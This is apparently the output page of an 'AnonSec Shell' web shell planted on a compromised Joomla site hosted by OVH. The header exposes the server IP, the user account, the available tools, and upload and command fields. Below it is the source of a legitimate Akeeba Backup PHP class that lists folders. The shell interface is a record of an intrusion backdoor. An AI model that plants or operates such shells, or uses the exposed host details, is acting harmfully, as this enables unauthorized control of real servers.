AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/visitevirtuelle/administrator/components/com_akeeba/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/visitevirtuelle/administrator/components/com_akeeba/models/browsers.php
<?php
/**
 * @package AkeebaBackup
 * @copyright Copyright (c)2009-2014 Nicholas K. Dionysopoulos
 * @license GNU General Public License version 3, or later
 * @since 3.5
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

class AkeebaModelBrowsers extends F0FModel
{
	function makeListing()
	{
		JLoader::import('joomla.filesystem.folder');
		JLoader::import('joomla.filesystem.path');

		// Get the folder to browse
		$folder = $this->getState('folder', '');
		$processfolder = $this->getState('processfolder', 0);

		if(empty($folder))
		{
			$folder = JPATH_SITE;
		}

		$stock_dirs = AEPlatform::getInstance()->get_stock_directories();
		arsort($stock_dirs);

		if($processfolder == 1)
		{
			foreach($stock_dirs as $find => $replace)
			{
				$folder = str_replace($find, $replace, $folder);
			}
		}

		// Normalise name, but only if realpath() really, REALLY works...
		$old_folder = $folder;
		$folder = @realpath($folder);
		if($folder === false) $folder = $old_folder;

		if(AEUtilFilesystem::folderExists($folder))
		{
			$isFolderThere = true;
		}
		else
		{
			$isFolderThere = false;
		}

		// Check if it's a subdirectory of the site's root
		$isInRoot = (strpos($folder, JPATH_SITE) === 0);

		// Check open_basedir restrictions
		$isOpenbasedirRestricted = AEUtilQuirks::checkOpenBasedirs($folder);

		// -- Get the meta form of the directory name, if applicable
		$folder_raw = $folder;
		foreach($stock_dirs as $replace => $find)
		{
			$folder_raw = str_replace($find, $replace, $folder_raw);
		}

		// Writable check and contents listing if it's in site root and not restricted
		if($isFolderThere && !$isOpenbasedirRestricted)
		{
			// Get writability status
			$isWritable = is_writable($folder);

			// Get contained folders
			$subfolders = JFolder::folders($folder);
		}
		else
		{
			if($isFolderThere && !$isOpenbasedirRestricted)
			{
				$isWritable = is_writable($folder);
			}
			else
			{
				$isWritable = false;
			}

			$subfolders = array();
		}

		// Get parent directory
		$pathparts = explode(DIRECTORY_SEPARATOR, $folder);
		if(is_array($pathparts))
		{
			$path = '';
			foreach($pathparts as $part)
			{
				$path .= empty($path) ? $part : DIRECTORY_SEPARATOR.$part;
				if(empty($part)) {
					if( DIRECTORY_SEPARATOR != '\\' ) $path = DIRECTORY_SEPARATOR;
					$part = DIRECTORY_SEPARATOR;
				}
				$crumb['label'] = $part;
				$crumb['folder'] = $path;
				$breadcrumbs[]=$crumb;
			}

			$junk = array_pop($pathparts);
			$parent = implode(DIRECTORY_SEPARATOR, $pathparts);
		}
		else
		{
			// Can't identify parent dir, use ourselves.
			$parent = $folder;
			$breadcrumbs = array();
		}

		$this->setState('folder',					$folder);
		$this->setState('folder_raw',				$folder_raw);
		$this->setState('parent',					$parent);
		$this->setState('exists',					$isFolderThere);
		$this->setState('inRoot',					$isInRoot);
		$this->setState('openbasedirRestricted',	$isOpenbasedirRestricted);
		$this->setState('writable',					$isWritable);
		$this->setState('subfolders',				$subfolders);
		$this->setState('breadcrumbs',				$breadcrumbs);
	}
}

Anon7 - 2022
AnonSec Team